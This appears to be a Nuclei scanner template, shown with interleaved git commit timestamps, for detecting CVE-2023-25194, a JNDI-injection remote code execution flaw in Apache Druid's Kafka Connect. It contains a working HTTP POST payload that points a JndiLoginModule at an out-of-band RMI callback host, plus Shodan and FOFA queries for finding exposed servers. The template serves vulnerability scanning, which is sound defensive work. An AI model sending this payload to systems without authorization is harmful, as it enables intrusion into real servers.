2023-04-24 05:08:09 +00:00
id : CVE-2023-25194
2023-04-23 20:43:19 +00:00
info :
2023-04-27 14:53:33 +00:00
name : Apache Druid Kafka Connect - Remote Code Execution
2023-04-23 20:43:19 +00:00
author : j4vaovo
severity : high
description : |
2023-04-24 05:08:09 +00:00
The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API
2023-04-23 20:43:19 +00:00
reference :
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25194
- https://nvd.nist.gov/vuln/detail/CVE-2023-25194
- https://github.com/nbxiglk0/Note/blob/0ddc14ecd296df472726863aa5d1f0f29c8adcc4/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Java/ApacheDruid/ApacheDruid%20Kafka-rce/ApacheDruid%20Kafka-rce.md#apachedruid-kafka-connect-rce
2023-07-16 13:32:52 +00:00
- http://packetstormsecurity.com/files/173151/Apache-Druid-JNDI-Injection-Remote-Code-Execution.html
- https://kafka.apache.org/cve-list
2023-04-23 20:43:19 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2023-07-16 13:32:52 +00:00
cvss-score : 8.8
2023-04-23 20:43:19 +00:00
cve-id : CVE-2023-25194
cwe-id : CWE-502
2024-05-31 19:23:20 +00:00
epss-score : 0.96717
epss-percentile : 0.99653
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:apache:kafka_connect:*:*:*:*:*:*:*:*
2023-04-24 05:08:09 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2023-07-16 13:32:52 +00:00
vendor : apache
2023-10-14 11:27:55 +00:00
product : kafka_connect
shodan-query : html:"Apache Druid"
2024-05-31 19:23:20 +00:00
fofa-query : body="apache druid"
2023-10-14 11:27:55 +00:00
tags : packetstorm,cve,cve2023,apache,druid,kafka,rce,jndi,oast
2023-04-23 20:43:19 +00:00
2023-05-09 12:43:13 +00:00
http :
2023-04-23 20:43:19 +00:00
- raw :
- |
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
"type" : "kafka" ,
"spec" : {
"type" : "kafka" ,
"ioConfig" : {
"type" : "kafka" ,
"consumerProperties" : {
"bootstrap.servers" : "127.0.0.1:6666" ,
"sasl.mechanism" : "SCRAM-SHA-256" ,
"security.protocol" : "SASL_SSL" ,
"sasl.jaas.config" : "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://{{interactsh-url}}:6666/test\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic" : "test" ,
"useEarliestOffset" : true ,
"inputFormat" : {
"type" : "regex" ,
"pattern" : "([\\s\\S]*)" ,
"listDelimiter" : "56616469-6de2-9da4-efb8-8f416e6e6965" ,
"columns" : [
"raw"
]
}
},
"dataSchema" : {
"dataSource" : "sample" ,
"timestampSpec" : {
"column" : "!!!_no_such_column_!!!" ,
"missingValue" : "1970-01-01T00:00:00Z"
},
"dimensionsSpec" : {
},
"granularitySpec" : {
"rollup" : false
}
},
"tuningConfig" : {
"type" : "kafka"
}
},
"samplerConfig" : {
"numRows" : 500 ,
"timeoutMs" : 15000
}
}
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
- type : word
part : body
words :
- 'RecordSupplier'
- type : status
status :
2024-03-26 08:19:10 +00:00
- 400
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502203e73ac9fdf5b0743ff5219b36631bae363aa2c377bcb325db674d83289fa2f5c022100ad756a8663c7df0962fece18df6230af5d78c6bb80beb1e3e0fdbc3e7ee4d25e:922c64590222798bb761d5b6d8e72950